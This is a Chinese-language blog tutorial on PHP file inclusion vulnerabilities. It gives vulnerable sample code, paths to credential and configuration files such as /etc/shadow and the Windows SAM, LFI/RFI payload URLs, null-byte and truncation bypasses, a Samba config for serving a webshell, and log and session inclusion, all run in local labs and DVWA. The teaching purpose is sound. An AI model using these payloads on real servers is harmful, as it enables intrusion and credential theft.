【web渗透】文件包含漏洞入门级超详细讲解

💕💕💕 博主昵称:摆烂阳💕💕💕
🥰博主主页链接https://blog.csdn.net/qinshuoyang1?type=blog 👩‍💻
博主研究方向:web渗透测试
📃 博主寄语:希望本篇文章能给大家带来帮助,有不足的地方,希望友友们给予指导

————————————————

目录

前言

在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。

一、原理

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。

附赠:phpstudy2018版本下载链接

二、文件包含的分类

1、本地文件包含

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

2、远程文件包含

原理和本地文件包含类似,差别在于是通过第三方服务器的文件来进行包含。

ps:需要满足以下两个配置文件

1、在php.ini中allow_url_fopen为ON
2、在php.ini中allow_url_include为ON

三、常见的文件包含函数

1、include()

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,然后继续向下执行。

2、include_once()

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次

3、 require()

Require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

4、require_once()

功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

5、highlight_file()、show_source()

函数对文件进行语法高亮显示,通常能看到源代码

6、readfile()、file_get_contents()、

函数读取一个文件,并写入到输出缓冲

7、fopen()

打开一个文件或者url

漏洞代码示例:

<?php
   $filename  = $_GET['file'];
   include($file); 
?>

以上代码,对$_GET[‘file’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改file的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;

我们在后面加上我们当前目录的文件1.txt 即可读取1.txt的内容显示出来

在这里插入图片描述

ps:

几乎所有的语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\ASP\ASP.NET程序中非常少,甚至没有文件包含漏洞的存在。

四、无限制本地文件包含漏洞

1、原理

无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码

2、常见的敏感信息路径

(1).Windows

查看系统版本

c:\boot.ini

Apache配置信息

c:\XX\httpd.conf

IIS配置文件

c:\windows\system32\inetsrv\MetaBase.xml

存储Windows系统初次安装的密码

c:\windows\repair\sam

MySQL配置

c:\ProgramFiles\mysql\my.ini

MySQL root密码

c:\ProgramFiles\mysql\data\mysql\user.MYD /

php 配置信息

c:\windows\php.ini

(2).Linux/Unix

账户信息

/etc/passwd

账户密码文件

/etc/shadow

Apache配置文件

/etc/httpd/conf/httpd.conf

mysql 配置文件

/etc/my.conf

Apache2默认配置文件

/usr/local/app/apache2/conf/httpd.conf

虚拟网站配置

/usr/local/app/apache2/conf/extra/httpd-vhost.conf

PHP相关配置

/usr/local/app/php5/lib/php.ini

无限制本地文件包含漏洞示例:

<?php
      $filename  = $_GET['filename'];
      include($filename);
?>

利用漏洞读取Mysql配置信息

payload:

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini

在这里插入图片描述

利用无限制本地包含漏洞执行代码

在这里插入图片描述

五、有限制文件包含

1、前言

有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种

测试代码:

<?php
      $filename  = $_GET['filename'];
      include($filename,".html");
?>

2、本地限制绕过

(1)、路径长度截断

条件:

在 windows系统中,文件后缀最大长度256字节,在Linux中最大长度是 4096字节 , 超出的部分会被丢弃

绕过方式:

…或者/./.

(2)、00截断

%00是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤

漏洞利用条件:

(1)    magic_quotes_gpc=off

(2)    PHP<5.3.4

实操:
在这里插入图片描述

3、远程限制绕过

(1)、?绕过

http://127.0.0.1/test.php?file=http://ip/phpinfo.txt?

(2)、#(%23)绕过

http://127.0.0.1/test.php?file=http://ip/phpinfo.txt%23(#)

(3)、samba绕过

简介:

SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

攻击场景概述:

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Webshell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHPWeb shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

实操:

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

先在虚拟机中打开kali,并创建一个共享文件夹,在该文件夹中添加获取phpinfo代码

在这里插入图片描述
附赠配置文件

[global] workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user map to guest = bad user
name resolve order = bcast host
dns proxy = no bind interfaces only =
yes [ica] path = /var/www/html/pub
writable = no guest ok = yes guest
only = yes read
only = yes
directory mode = 0555

六、日志包含

1、简介

日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据、诊断问题的追踪以及理解系统的活动等重要作用。

2、利用条件

知道日志文件的存储路径,并且日志文件可读

(1)、apache的日志文件可以通过phpinfo()页面来查询,apache2hander中的server root 就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中
(2)、或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log or access_log ,或者一些默认存储路径。
(3)、也可以通过包含配置文件来确定日志文件路径
Index.php?file=/etc/init.d/httpd
Index.php?file=/etc/httpd/conf/httpd.conf

首先利用burp抓包修改上传名称
在这里插入图片描述
跟着找到访问的cookie名称,然后包含日志文件的绝对路径
在这里插入图片描述
日志默认存放路径:

apache/logs/error.log或access.log

七、session包含

1、前言

Session就是保存在服务器的文本文件。 默认情况下,PHP.ini 中设置的 SESSION 保存方式是files(session.save_handler = files),即使用读写文件的方式保存 SESSION 数据,而 SESSION文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSIONID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了

2、利用条件

1、session文件路径已知

session路径位置可以通过phpinfo页面来获取,

session.save_path为/var/lib/php/session.

通过猜测默认的session的存放位置进行尝试

Phpstudy默认session的存储路径为E:\phpStudy\PHPTutorial\tmp\tmp

2、且其中部分内容可控制

在默认的session的文件中,username后面的就是账号,那么能把这个账号控制变化那么就可以利用session包含。

3、实际利用

本次实验使用DVWA靶场
DVWA这个靶场是不满足条件,因为他的session是不可控的。那么我们可以添加一串代码来让他可控。
代码如下:

<?php
     session_start();
     $ctfs=$_GET['ctfs'];
     $_SESSION["username"]=$ctfs;
?>

在这里插入图片描述
在这里插入图片描述

八、总结

本篇文章耗费三个小时,可谓是呕心沥血,希望可以给大家带来帮助;另外警惕大家,网络并非法外之地,大家要谨遵网络安全法,不做违纪违规的事情!

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注